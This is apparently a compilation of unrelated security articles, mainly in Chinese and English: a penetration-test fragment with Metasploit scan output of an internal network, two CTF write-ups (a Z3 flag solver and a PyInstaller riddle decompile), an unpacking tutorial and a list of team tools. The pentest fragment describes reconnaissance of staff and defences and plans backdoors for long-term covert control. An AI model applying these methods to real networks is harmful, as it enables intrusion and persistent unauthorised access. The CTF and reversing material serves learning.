10.0.0.15:22 - TCP OPEN [+] 10.0.0.16: - 10.0.0.16:22 - TCP OPEN [+] 10.0.0.17: - 10.0.0.17:22 - TCP OPEN [+] 10.0.0.20: - 10.0.0.20:22 - TCP OPEN [+] 10.0.0.21: - 10.0.0.21:22 - TCP OPEN [+] 10.0.0.31: - 10.0.0.31:22 - TCP OPEN [+] 10.0.0.38: - 10.0.0.38:22 - TCP OPEN [+] 10.0.0.40: - 10.0.0.40:22 - TCP OPEN [+] 10.0.0.99: - 10.0.0.99:22 - TCP OPEN [+] 10.0.0.251: - 10.0.0.251:22 - TCP OPEN [+] 10.0.0.254: - 10.0.0.254:22 - TCP OPEN ``` IP 1-255 smtp for version (部分) ![](media/9c33b4d83946e383cce75062f50138cd.jpg) ```bash msf auxiliary(smtp_version) \> run [+] 10.0.0.3:25 - 10.0.0.3:25 SMTP 220 xxxxxxxxxxxxxxxxx MAIL Service,Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:28:44 +0800 \\x0d\\x0a [+] 10.0.0.5:25 - 10.0.0.5:25 SMTP 220 xxxxxxxxxxxxxxxxx Microsoft ESMTP MAIL Service, Version: 7.5.7601.17514 ready at Wed, 14 Feb 2018 18:29:05 +0800 \\x0d\\x0a [+] 10.0.0.14:25 - 10.0.0.14:25 SMTP 220 xxxxxxxxxxxxxxxxxt ESMTP MAIL Service, Version: 7.0.6002.18264 ready at Wed, 14 Feb 2018 18:30:32 +0800 \\x0d\\x0a ``` ![](media/aa86c13c60cfabb912e9f7bdf7517ccf.jpg) 在iis apppool\xxxx的权限下,目前得知该目标内网分配段,安装软件,杀毒,端口,服务,补丁更新频率,管理员上线操作时间段,数据库配置信息,域用户详细信息(英文user对应的职务,姓名等),以上数据等待信息分析业务,来确定攻击方向。如财务组,如cxx组等。并且完成了**刺探等级1-4** 而在以上的信息搜集过程中,提权不在是我考虑的问题了,可以Filezilla server提权,mssqsl数据库提权,win03提权,win2000提权,win08提权,iis.x提权,内网映射提权等。而现在需要做的是如何反制被发现来制定目标业务后门,以便长期控制。 下一季的连载,将会从三方面来讲述大型内网的信息刺探,既有0day的admin权限下刺探,无提权下的guest/users权限下刺探。数据库下的权限刺探。域权限延伸到办公PC机的信息刺探。以及只有路由权限下的信息刺探。原来在渗透过程中,提权是次要的,信息刺探才是渗透的本质。 > Micropoor
sec-knowleage
# Parsletongue (re, 400p) In the task we get a binary, which after some reversing comes down to the flag verification algorithm: ```python def validate(inval): if len(inval) == 0 or False: return False if not inval.startswith('TMCTF{'): return False if not inval.endswith('}'): return False else: length = len(inval) inval = inval.split('TMCTF{', 1)[-1].rsplit('}', 1)[0] try: assert len(inval) + 7 == length except: return False inval = map(ord, inval) length = len(inval) if length != 24: return False s = sum(inval) if s % length != 9: return False sdl = s / length if chr(sdl) != 'h': return False inval = [x ^ ord('h') for x in inval] ROFL = list(reversed(inval)) KYRYK = [0] * 5 QQRTQ = [0] * 5 KYRYJ = [0] * 5 QQRTW = [0] * 5 KYRYH = [0] * 5 QQRTE = [0] * 5 KYRYG = [0] * 5 QQRTR = [0] * 5 KYRYF = [0] * 5 QQRTY = [0] * 5 for i in xrange(len(KYRYK)): for j in xrange(len(QQRTQ) - 1): KYRYK[i] ^= inval[i + j] if QQRTQ[i] + inval[i + j] > 255: return False QQRTQ[i] += inval[i + j] KYRYJ[i] ^= inval[i * j] if QQRTW[i] + inval[i * j] > 255: return False QQRTW[i] += inval[i * j] KYRYH[i] ^= inval[8 + i * j] if QQRTE[i] + inval[8 + i * j] > 255: return False QQRTE[i] += inval[8 + i * j] KYRYG[i] ^= ROFL[8 + i * j] if QQRTR[i] + ROFL[8 + i * j] > 255: return False QQRTR[i] += ROFL[8 + i * j] KYRYF[i] ^= ROFL[i + j] if QQRTY[i] + ROFL[i + j] > 255: return False QQRTY[i] += ROFL[i + j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1 for ary in [KYRYK, KYRYJ, KYRYH, KYRYG, KYRYF, QQRTW, QQRTE, QQRTR, QQRTY]: for x in ary: if x > 255: return False if ('').join(map(chr, KYRYK)) != 'R) +6': return False try: if ('').join(map(chr, QQRTQ)) != 'l1:C(': return False except ValueError: return False if ('').join(map(chr, KYRYJ)) != ' RP%A': return False if tuple(QQRTW) != (236, 108, 102, 169, 93): return False if ('').join(map(chr, KYRYH)) != ' L30Z': print 'X2' return False if ('').join(map(chr, QQRTE)) != ' j36~': print 's2' return False if ('').join(map(chr, KYRYG)) != ' M2S+': print 'X3' return False if ('').join(map(chr, QQRTR)) != '4e\x9c{E': print 'S3' return False if ('').join(map(chr, KYRYF)) != '6!2$D': print 'X4' return False if ('').join(map(chr, QQRTY)) != ']PaSs': print 'S4' return False return True ``` Since there is nothing apart form simple XOR, add, sub operations, we can just use Z3 to figure out the answer. We transpose the verification function into: ```python import z3 def decryptor(): E_KYRYK = 'R) +6' E_QQRTQ = 'l1:C(' E_KYRYJ = ' RP%A' E_QQRTW = "".join(map(chr, [236, 108, 102, 169, 93])) E_KYRYH = ' L30Z' E_QQRTE = ' j36~' E_KYRYG = ' M2S+' E_QQRTR = '4e\x9c{E' E_KYRYF = '6!2$D' E_QQRTY = ']PaSs' s = z3.Solver() flag = [z3.BitVec("flag_" + str(i), 8) for i in range(24)] added = sum(flag) s.add(added == 2505) inval = [x ^ ord('h') for x in flag] KYRYK, KYRYJ, KYRYH, KYRYG, KYRYF, QQRTW, QQRTE, QQRTR, QQRTY, QQRTQ = convert(inval) for i in range(5): pass s.add(KYRYK[i] == ord(E_KYRYK[i])) s.add(KYRYJ[i] == ord(E_KYRYJ[i])) s.add(KYRYH[i] == ord(E_KYRYH[i])) s.add(KYRYG[i] == ord(E_KYRYG[i])) s.add(KYRYF[i] == ord(E_KYRYF[i])) s.add(QQRTE[i] == ord(E_QQRTE[i])) s.add(QQRTW[i] == ord(E_QQRTW[i])) s.add(QQRTR[i] == ord(E_QQRTR[i])) s.add(QQRTY[i] == ord(E_QQRTY[i])) s.add(QQRTQ[i] == ord(E_QQRTQ[i])) print(s.check()) print(s.model()) print("".join([chr(int(str(s.model()[var]))) for var in flag])) def convert(inval): ROFL = list(reversed(inval)) KYRYK = [0] * 5 QQRTQ = [0] * 5 KYRYJ = [0] * 5 QQRTW = [0] * 5 KYRYH = [0] * 5 QQRTE = [0] * 5 KYRYG = [0] * 5 QQRTR = [0] * 5 KYRYF = [0] * 5 QQRTY = [0] * 5 for i in xrange(len(KYRYK)): for j in xrange(len(QQRTQ) - 1): KYRYK[i] ^= inval[i + j] QQRTQ[i] += inval[i + j] KYRYJ[i] ^= inval[i * j] QQRTW[i] += inval[i * j] KYRYH[i] ^= inval[8 + i * j] QQRTE[i] += inval[8 + i * j] KYRYG[i] ^= ROFL[8 + i * j] QQRTR[i] += ROFL[8 + i * j] KYRYF[i] ^= ROFL[i + j] QQRTY[i] += ROFL[i + j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1 return KYRYK, KYRYJ, KYRYH, KYRYG, KYRYF, QQRTW, QQRTE, QQRTR, QQRTY, QQRTQ ``` And after a moment Z3 says the flag is: `TMCTF{SlytherinPastTheReverser}`
sec-knowleage
# Team-Plan <p align="center"> <img src="../../assets/img/banner/Team-Plan.jpg" width="70%"> </p> --- ## 免责声明 1. 本项目所有内容,仅供学习和研究使用,请勿使用项目的技术手段用于非法用途,任何人造成的任何负面影响,与本人无关. 2. 本文档所有内容皆不代表本人态度、立场,如果有建议或方案,欢迎提交 issues 3. 未收及不会收取任何广告费用,推荐的所有工具链接与本人无任何利害关系 --- ## 团队建设 - [安全实验室的发展及展望](https://www.freebuf.com/articles/es/211571.html) --- ## 任务分配 & 项目管理 **看板** - [Trello](https://trello.com/) - `强烈推荐` - 好用,有时需科学上网,免费版够用 - [wekan](https://github.com/wekan/wekan) - 开源的看板工具方案,还行 - [JordanKnott/taskcafe](https://github.com/JordanKnott/taskcafe) - 开源的看板工具方案 - [日事清](https://www.rishiqing.com/) - bug贼多,还不能实时刷新,价格不高 - [teambition](https://www.teambition.com/) - 下个世纪的设计,价格不高 - [领歌](https://www.leangoo.com/) - 上个世纪的设计 **管理工具** - [Jira](https://www.atlassian.com/zh/software/jira) - 好用,但免费版只能参与10人 **团队分析** - [x-developer](https://x-developer.cn/) --- ## 群聊 - [钉钉](https://www.dingtalk.com) - 好用,但只建议公司内团队使用,非企业类型的团队建议使用其他工具 - [微信](https://weixin.qq.com/) - `不推荐` - 不推荐,多端信息不同步且无法长期保存,文件保存时间短 - [QQ](https://im.qq.com/)/[TIM](https://office.qq.com/) - `不推荐` - 多端信息不同步且无法长期保存,文件过滤严重 - [Telegram](https://telegram.org/) - `强烈推荐` - 好用,需科学上网,免费 - [Discord](https://discordapp.com/) - 好用,需科学上网,免费 - [Slack](https://slack.com) - 好用,需科学上网,免费版不够用,团队版价格适中 --- ## 文件共享 - [坚果云](https://www.jianguoyun.com) - `强烈推荐` - 好用,速度可以跑满带宽,免费不够用,团队版价格适中 - Teambition - `一般` - 容量大,速度快,没啥好说的 - [微云](https://www.weiyun.com/) - 体验一般,速度一般,免费不够用 - [百度网盘](https://pan.baidu.com/disk/home) - `不推荐` - 略 - [MEGA](https://mega.nz/) - 好用,需科学上网,免费不够用 - [Dropbox](https://www.dropbox.com) - 好用,需科学上网,免费不够用 - [Synology](https://www.synology.com/zh-cn) - `推荐` - 个人认为不太好用,据同事反映效果不错,速度可以跑满带宽,无免费版,价格适中 **临时文件分享** - https://bitsend.jp/ - https://file.pizza/ - https://www.4shared.com/ - https://fileroom.io/about - https://fuli.cowtransfer.com/ - https://clicknupload.org/ - https://send.firefox.com/ - https://wetransfer.com/ --- ## 知识库-Wiki - [GitBook](https://www.gitbook.com/) - `强烈推荐` - [为知笔记](https://www.wiz.cn/) - `推荐` - [语雀](https://www.yuque.com/) - `强烈推荐` - [mkdocs](https://www.mkdocs.org/) - [wiki.js](https://wiki.js.org/) - [star7th/showdoc](https://github.com/star7th/showdoc) - [Confluence](https://www.atlassian.com/software/confluence) - `推荐` --- ## 在线编辑 - [石墨文档](https://shimo.im/) - `强烈推荐` - [腾讯文档](https://docs.qq.com/) - [Google 文档](https://docs.google.com/document) --- ## 远程访问 - [GotoHTTP](http://gotohttp.com/) - `不推荐` - 可以 web 访问的远程控制平台 - [TeamViewer](https://www.teamviewer.com/en-us/) - [AnyDesk](https://anydesk.com/en) - cloudflare tunnel - https://y4er.com/posts/cloudflare-tunnel/ - todesk - 向日葵 - [法海](https://fh.uusec.com/#/admin/main) --- ## DNS - [AdguardTeam](https://github.com/AdguardTeam/AdGuardHome)
sec-knowleage
# 一步到达 OEP 法 所谓的一步到达OEP的脱壳方法, 是根据所脱壳的特征, 寻找其距离OEP最近的一处汇编指令, 然后下int3断点, 在程序走到OEP的时候dump程序. 如一些压缩壳往往popad指令距离OEP或者大jmp特别近, 因此使用Ollydbg的搜索功能, 可以搜索壳的特征汇编代码, 达到一步断点到达OEP的效果. ## 要点 1. ctrl+f 查找popad 2. ctrl+l 跳转到下一个匹配处 3. 找到匹配处, 确认是壳解压完毕即将跳转到OEP部分, 则设下断点运行到该处 4. 只适用于极少数压缩壳 ## 示例 示例程序可以点击此处下载: [3_direct2oep.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/3_direct2oep.zip) 还是用的原先的notepad.exe来示例, 用`Ollydbg`打开后, 我们按下`ctrl+f`来查找指定的字符串, 像`popad`是典型的一个特征, 有部分壳它就常用`popad`来恢复状态, 所以如下图所示来搜索`popad`. 在本例中, 当搜索到的`popad`不符合我们的要求时, 可以按下`ctrl+l`来搜索下一个匹配处, 大概按下个三四次, 我们找到了跳转到OEP的位置处.
sec-knowleage
# Plague of Locust ## Description > > “if you refuse to let My people go, behold, tomorrow I will bring locusts into your territory. And they shall cover the face of the earth, so that no one will be able to see the earth; and they shall eat the residue of what is left, which remains to you from the hail, and they shall eat every tree which grows up for you out of the field” (Exodus 10:4-5). > > Prepare yourself! You are about to be attacked by a swarm of locusts, try to stay calm and focus on the picture. > > Note: This is not a reverse challenge An archive was attached. ## Solution We extract the archive and get two files: ```console ┌──(user@kali)-[~/CTFs/basmach/Plague_of_locust] └─$ ls -al locust total 32992 drwxr-xr-x 2 user user 4096 Mar 26 17:43 . drwxr-xr-x 3 user user 4096 Apr 12 15:10 .. -rw-r--r-- 1 user user 33756326 Mar 20 13:07 script.exe -rw-r--r-- 1 user user 16348 Mar 20 14:50 ארבה.png ``` We have a Windows executable and a PNG image. Let's run the executable: ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! - I couldn't undestand what 'PNG' means ``` Amusingly, the screen gets filled with Locusts until the program is killed. Anyway, the program is complaining that it doesn't understand what "PNG" is. In our context, PNG is the format (and extension) of the attached image. The first few bytes of any PNG image contain the `89 50 4E 47` magic signature, which essentially contain the string `PNG`. So what happens if we edit the file and replace the magic signature with a different one? ``` 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 | .PNG........IHDR -> 89 54 45 53 54 0A 1A 0A 00 00 00 0D 49 48 44 52 | .TEST.......IHDR ``` Run again: ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! - I couldn't undestand what 'TEST' means ``` Good! We know how to interact with the program. To make things even easier, moving forward we'll just create a text file called `ארבה.png` and edit it instead. So, we need to start by asking politely. Instead of `TEST`, we'll use `please`: ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu ``` We made some progress, let's decode the next string using base64 and get: ``` hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! to proceed just repeat this message. ``` So, we repeat the message: `hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag!` ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! - Let's start easy... - What is 2 + 2 = ? ``` The answer is obviously `4`. ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! - Let's start easy... - What is 2 + 2 = ? 4 - Beep boop beep beep... I can't find my site on google! what am I missing? ``` It must be related to `robots.txt`. ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! - Let's start easy... - What is 2 + 2 = ? 4 - Beep boop beep beep... I can't find my site on google! what am I missing? robots.txt - What is null in ASCII? ``` Everyone knows it's `0`. ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! - Let's start easy... - What is 2 + 2 = ? 4 - Beep boop beep beep... I can't find my site on google! what am I missing? robots.txt - What is null in ASCII? 0 - Oh i know! just repeat what i say... - e99a18c428cb38d5f260853678922e03 - You don't understand it? maybe you can ask john ``` `john` seems like overkill when we have Google. This is the MD5 hash of `abc123`. ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! - Let's start easy... - What is 2 + 2 = ? 4 - Beep boop beep beep... I can't find my site on google! what am I missing? robots.txt - What is null in ASCII? 0 - Oh i know! just repeat what i say... - e99a18c428cb38d5f260853678922e03 - You don't understand it? maybe you can ask john abc123 - Finally just XOR !($+<;.,; with the letter I ``` XOR we shall, to get a `hamburger`. This is what our text file looks like at this point: ``` please hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! 4 robots.txt 0 abc123 hamburger ``` And the response we get from the program is: ```console PS E:\CTFs\basmach\locust> .\script.exe - If you wanna play a game ask politely! please - aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag! - Let's start easy... - What is 2 + 2 = ? 4 - Beep boop beep beep... I can't find my site on google! what am I missing? robots.txt - What is null in ASCII? 0 - Oh i know! just repeat what i say... - e99a18c428cb38d5f260853678922e03 - You don't understand it? maybe you can ask john abc123 - Finally just XOR !($+<;.,; with the letter I hamburger - so about the Flag, may I tell you a seceRt? oh kingS of egypT, you already have the flag ``` Another riddle? So they say that we already have the flag, and notice how the capital letters in the last sentence spell out `FIRST`. What if we take the first letter of each answer? Indeed, the flag that was accepted was `BSMCH{ph4r0ah}`. ## Appendix: Reversing the Executable As mentioned by the description, this isn't a reversing challenge. However, we'll see here how it was easier to solve the challenge with reversing. If we try to open the executable in Ghidra, we see lots of strings related to Python. The executable is also called `script.exe`. It sounds like it's a Python script packed to an `exe`. First, we must find a way to reverse the `Python -> exe` process. [This script](https://github.com/extremecoders-re/pyinstxtractor) helps us do that: ```console PS E:\CTFs\basmach\locust> py -3.11 .\pyinstxtractor.py .\script.exe [+] Processing .\script.exe [+] Pyinstaller version: 2.1+ [+] Python version: 3.11 [+] Length of package: 33377958 bytes [+] Found 121 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: pyi_rth_win32comgenpy.pyc [+] Possible entry point: pyi_rth_pywintypes.pyc [+] Possible entry point: pyi_rth_pythoncom.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_setuptools.pyc [+] Possible entry point: script.pyc [+] Found 748 files in PYZ archive [+] Successfully extracted pyinstaller archive: .\script.exe You can now use a python decompiler on the pyc files within the extracted directory ``` We have a `script.pyc` (compiled bytecode) file, but no sources. Solutions such as `uncompyle6` don't support Python 3.11 yet, but we can at least see the bytecode with the `dis` module: <details> <summary>Expand</summary> ```python >>> import script >>> help(script.main) Help on function main in module script: main() >>> import dis >>> dis.dis(script.main) 24 0 RESUME 0 25 2 NOP 26 4 LOAD_CONST 1 (0) 6 STORE_FAST 0 (counterLines) 27 8 LOAD_GLOBAL 1 (NULL + print) 20 LOAD_CONST 2 ('- If you wanna play a game ask politely!') 22 PRECALL 1 26 CALL 1 36 POP_TOP 28 38 LOAD_GLOBAL 3 (NULL + open) 50 LOAD_GLOBAL 4 (CRICKET_PATH) 62 LOAD_CONST 3 ('rb+') 64 PRECALL 2 68 CALL 2 78 BEFORE_WITH 80 STORE_FAST 1 (f) 29 82 LOAD_FAST 1 (f) 84 LOAD_METHOD 3 (readlines) 106 PRECALL 0 110 CALL 0 120 STORE_FAST 2 (lines) 30 122 LOAD_FAST 2 (lines) 124 LOAD_CONST 1 (0) 126 BINARY_SUBSCR 136 LOAD_METHOD 4 (strip) 158 PRECALL 0 162 CALL 0 172 LOAD_METHOD 5 (decode) 194 LOAD_CONST 4 ('utf-8') 196 LOAD_CONST 5 ('ignore') 198 PRECALL 2 202 CALL 2 212 STORE_FAST 3 (input) 31 214 LOAD_FAST 3 (input) 216 LOAD_METHOD 6 (startswith) 238 LOAD_CONST 6 ('please') 240 PRECALL 1 244 CALL 1 254 EXTENDED_ARG 4 256 POP_JUMP_FORWARD_IF_FALSE 1094 (to 2446) 32 258 LOAD_GLOBAL 1 (NULL + print) 270 LOAD_FAST 3 (input) 272 PRECALL 1 276 CALL 1 286 POP_TOP 33 288 LOAD_FAST 0 (counterLines) 290 LOAD_CONST 7 (1) 292 BINARY_OP 13 (+=) 296 STORE_FAST 0 (counterLines) 35 298 LOAD_GLOBAL 1 (NULL + print) 310 LOAD_CONST 8 ('- aGV5ISBJJ20gZ29pbmcgdG8gYXNrIHlvdSBhIGZldyByaWRkbGVzIGFuZCBpZiB5b3UgY2FuIHNvbHZlIHRoZW0gYWxsIEkgd2lsbCBnaXZlIHlvdSB0aGUgZmxhZyEgdG8gcHJvY2VlZCBqdXN0IHJlcGVhdCB0aGlzIG1lc3NhZ2Uu') 312 PRECALL 1 316 CALL 1 326 POP_TOP 36 328 LOAD_FAST 2 (lines) 330 LOAD_CONST 7 (1) 332 BINARY_SUBSCR 342 LOAD_METHOD 4 (strip) 364 PRECALL 0 368 CALL 0 378 LOAD_METHOD 5 (decode) 400 LOAD_CONST 4 ('utf-8') 402 LOAD_CONST 5 ('ignore') 404 PRECALL 2 408 CALL 2 418 STORE_FAST 3 (input) 37 420 LOAD_FAST 3 (input) 422 LOAD_METHOD 6 (startswith) 444 LOAD_CONST 9 ("hey! I'm going to ask you a few riddles and if you can solve them all I will give you the flag!") 446 PRECALL 1 450 CALL 1 460 EXTENDED_ARG 3 462 POP_JUMP_FORWARD_IF_FALSE 925 (to 2314) 38 464 LOAD_GLOBAL 1 (NULL + print) 476 LOAD_FAST 3 (input) 478 PRECALL 1 482 CALL 1 492 POP_TOP 39 494 LOAD_FAST 0 (counterLines) 496 LOAD_CONST 7 (1) 498 BINARY_OP 13 (+=) 502 STORE_FAST 0 (counterLines) 41 504 LOAD_GLOBAL 1 (NULL + print) 516 LOAD_CONST 10 ("- Let's start easy...") 518 PRECALL 1 522 CALL 1 532 POP_TOP 42 534 LOAD_GLOBAL 1 (NULL + print) 546 LOAD_CONST 11 ('- What is 2 + 2 = ?') 548 PRECALL 1 552 CALL 1 562 POP_TOP 43 564 LOAD_FAST 2 (lines) 566 LOAD_CONST 12 (2) 568 BINARY_SUBSCR 578 LOAD_METHOD 4 (strip) 600 PRECALL 0 604 CALL 0 614 LOAD_METHOD 5 (decode) 636 LOAD_CONST 4 ('utf-8') 638 LOAD_CONST 5 ('ignore') 640 PRECALL 2 644 CALL 2 654 STORE_FAST 3 (input) 44 656 LOAD_CONST 13 ('4') 658 LOAD_FAST 3 (input) 660 COMPARE_OP 2 (==) 666 EXTENDED_ARG 2 668 POP_JUMP_FORWARD_IF_FALSE 756 (to 2182) 45 670 LOAD_GLOBAL 1 (NULL + print) 682 LOAD_FAST 3 (input) 684 PRECALL 1 688 CALL 1 698 POP_TOP 46 700 LOAD_FAST 0 (counterLines) 702 LOAD_CONST 7 (1) 704 BINARY_OP 13 (+=) 708 STORE_FAST 0 (counterLines) 48 710 LOAD_GLOBAL 1 (NULL + print) 722 LOAD_CONST 14 ("- Beep boop beep beep... I can't find my site on google! what am I missing?") 724 PRECALL 1 728 CALL 1 738 POP_TOP 49 740 LOAD_FAST 2 (lines) 742 LOAD_CONST 15 (3) 744 BINARY_SUBSCR 754 LOAD_METHOD 4 (strip) 776 PRECALL 0 780 CALL 0 790 LOAD_METHOD 5 (decode) 812 LOAD_CONST 4 ('utf-8') 814 LOAD_CONST 5 ('ignore') 816 PRECALL 2 820 CALL 2 830 STORE_FAST 3 (input) 50 832 LOAD_FAST 3 (input) 834 LOAD_METHOD 6 (startswith) 856 LOAD_CONST 16 ('robots') 858 PRECALL 1 862 CALL 1 872 EXTENDED_ARG 2 874 POP_JUMP_FORWARD_IF_FALSE 587 (to 2050) 51 876 LOAD_GLOBAL 1 (NULL + print) 888 LOAD_FAST 3 (input) 890 PRECALL 1 894 CALL 1 904 POP_TOP 52 906 LOAD_FAST 0 (counterLines) 908 LOAD_CONST 7 (1) 910 BINARY_OP 13 (+=) 914 STORE_FAST 0 (counterLines) 54 916 LOAD_GLOBAL 1 (NULL + print) 928 LOAD_CONST 17 ('- What is null in ASCII?') 930 PRECALL 1 934 CALL 1 944 POP_TOP 55 946 LOAD_FAST 2 (lines) 948 LOAD_CONST 18 (4) 950 BINARY_SUBSCR 960 LOAD_METHOD 4 (strip) 982 PRECALL 0 986 CALL 0 996 LOAD_METHOD 5 (decode) 1018 LOAD_CONST 4 ('utf-8') 1020 LOAD_CONST 5 ('ignore') 1022 PRECALL 2 1026 CALL 2 1036 STORE_FAST 3 (input) 56 1038 LOAD_FAST 3 (input) 1040 LOAD_METHOD 6 (startswith) 1062 LOAD_CONST 19 ('0') 1064 PRECALL 1 1068 CALL 1 1078 EXTENDED_ARG 1 1080 POP_JUMP_FORWARD_IF_FALSE 417 (to 1916) 57 1082 LOAD_GLOBAL 1 (NULL + print) 1094 LOAD_CONST 1 (0) 1096 PRECALL 1 1100 CALL 1 1110 POP_TOP 58 1112 LOAD_FAST 0 (counterLines) 1114 LOAD_CONST 7 (1) 1116 BINARY_OP 13 (+=) 1120 STORE_FAST 0 (counterLines) 60 1122 LOAD_GLOBAL 1 (NULL + print) 1134 LOAD_CONST 20 ('- Oh i know! just repeat what i say...') 1136 PRECALL 1 1140 CALL 1 1150 POP_TOP 61 1152 LOAD_GLOBAL 1 (NULL + print) 1164 LOAD_CONST 21 ('- e99a18c428cb38d5f260853678922e03') 1166 PRECALL 1 1170 CALL 1 1180 POP_TOP 62 1182 LOAD_GLOBAL 1 (NULL + print) 1194 LOAD_CONST 22 ("- You don't understand it? maybe you can ask john") 1196 PRECALL 1 1200 CALL 1 1210 POP_TOP 63 1212 LOAD_FAST 2 (lines) 1214 LOAD_CONST 23 (5) 1216 BINARY_SUBSCR 1226 LOAD_METHOD 4 (strip) 1248 PRECALL 0 1252 CALL 0 1262 LOAD_METHOD 5 (decode) 1284 LOAD_CONST 4 ('utf-8') 1286 LOAD_CONST 5 ('ignore') 1288 PRECALL 2 1292 CALL 2 1302 STORE_FAST 3 (input) 64 1304 LOAD_FAST 3 (input) 1306 LOAD_METHOD 6 (startswith) 1328 LOAD_CONST 24 ('abc123') 1330 PRECALL 1 1334 CALL 1 1344 POP_JUMP_FORWARD_IF_FALSE 218 (to 1782) 65 1346 LOAD_GLOBAL 1 (NULL + print) 1358 LOAD_FAST 3 (input) 1360 PRECALL 1 1364 CALL 1 1374 POP_TOP 66 1376 LOAD_FAST 0 (counterLines) 1378 LOAD_CONST 7 (1) 1380 BINARY_OP 13 (+=) 1384 STORE_FAST 0 (counterLines) 68 1386 LOAD_GLOBAL 1 (NULL + print) 1398 LOAD_CONST 25 ('- Finally just XOR !($+<;.,; with the letter I') 1400 PRECALL 1 1404 CALL 1 1414 POP_TOP 69 1416 LOAD_FAST 2 (lines) 1418 LOAD_CONST 26 (6) 1420 BINARY_SUBSCR 1430 LOAD_METHOD 4 (strip) 1452 PRECALL 0 1456 CALL 0 1466 LOAD_METHOD 5 (decode) 1488 LOAD_CONST 4 ('utf-8') 1490 LOAD_CONST 5 ('ignore') 1492 PRECALL 2 1496 CALL 2 1506 STORE_FAST 3 (input) 70 1508 LOAD_FAST 3 (input) 1510 LOAD_METHOD 6 (startswith) 1532 LOAD_CONST 27 ('hamburger') 1534 PRECALL 1 1538 CALL 1 1548 POP_JUMP_FORWARD_IF_FALSE 49 (to 1648) 71 1550 LOAD_GLOBAL 1 (NULL + print) 1562 LOAD_FAST 3 (input) 1564 PRECALL 1 1568 CALL 1 1578 POP_TOP 72 1580 LOAD_FAST 0 (counterLines) 1582 LOAD_CONST 7 (1) 1584 BINARY_OP 13 (+=) 1588 STORE_FAST 0 (counterLines) 74 1590 LOAD_GLOBAL 1 (NULL + print) 1602 LOAD_CONST 28 ('- so about the Flag, may I tell you a seceRt? oh kingS of egypT, you already have the flag') 1604 PRECALL 1 1608 CALL 1 1618 POP_TOP 75 1620 NOP ... ``` </details> As you can see, all the answers can be clearly seen inside. Of course, you'd still have the last riddle to solve yourself.
sec-knowleage
